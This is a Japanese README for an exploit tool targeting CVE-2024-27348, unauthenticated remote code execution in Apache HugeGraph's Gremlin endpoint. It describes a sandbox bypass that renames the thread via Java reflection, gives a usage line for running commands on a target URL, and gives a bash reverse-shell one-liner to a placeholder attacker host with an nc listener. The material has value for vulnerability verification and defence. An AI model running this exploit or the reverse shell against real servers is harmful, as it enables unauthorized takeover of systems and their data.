CVE-2024-27348: Apache HugeGraph RCE（高度なサンドボックス回避）

CVE-2024-27348（Apache HugeGraph Server におけるリモートコード実行）のための高度で信頼性の高い Proof of Concept（PoC）エクスプロイトです。

公開されている多くの PoC はコマンドを盲目的に実行したり、Java の Runtime.exec() の制限により複雑なペイロードで失敗したりしますが、本スクリプトは実際のペネトレーションテストシナリオにおける信頼性を考慮して設計されています。

⚠️ 免責事項

教育および許可されたテスト目的専用です。 このツールは、セキュリティ研究者、ペネトレーションテスター、システム管理者が許可された環境で脆弱性を確認するために提供されています。作者は本ツールの誤用やそれによって生じた損害について一切の責任を負いません。

✨ 機能と技術的改善点

本エクスプロイトは、初期の公開 PoC が抱える3つの重要な問題に対処しています。

1. HugeSecurityManager サンドボックス回避: HugeGraph のサンドボックスは、呼び出しスレッドの名前が gremlin-server-exec-* または task-worker-* の場合に実行をブロックします。このペイロードは Java リフレクションを使用して、ペイロードをトリガーする前に実行スレッドを動的に BypassThread にリネームし、セキュリティマネージャーをシームレスに回避します。
2. 複雑なペイロードの処理: スペースで複雑な bash コマンド（リバースシェルなど）が壊れてしまう Runtime.getRuntime().exec(String) の代わりに、本エクスプロイトは適切にフォーマットされた List<String> を使用した ProcessBuilder を利用します。これにより、引用符やリダイレクトを含む複雑なペイロードを安全に実行できます。
3. 完全な出力読み取り（非盲目的 RCE）: 本スクリプトは Java の Scanner を使用して実行されたプロセスの InputStream を読み取り、JSON HTTP レスポンス内にコマンドの実際の出力を返します。サーバーが見ているものがそのまま表示されます。

⚙️ 必要条件

• Python 3.x
• requests ライブラリ

必要な依存関係をインストールします:

pip3 install requests

🚀 使用方法

python3 exploit.py -u <TARGET_URL> -c <COMMAND>

例

1. 基本的なコマンド実行（出力の読み取り）:

python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"

2. リバースシェルの起動: ペイロードがスペースや引用符を正しく処理するため、base64 エンコードやステージングを行うことなく、標準的な bash リバースシェルを直接注入できます。

# 攻撃用マシンでリスナーを起動:
nc -lvnp 4444

# エクスプロイトを実行:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

🔍 脆弱性の詳細

Apache HugeGraph Server は Gremlin API エンドポイント（/gremlin）を公開しており、ユーザーが Groovy スクリプトを送信できます。パッチ適用前のバージョンではサンドボックスが不十分なため、認証されていない攻撃者が Java リフレクションを介して任意のオペレーティングシステムコマンドを実行できます。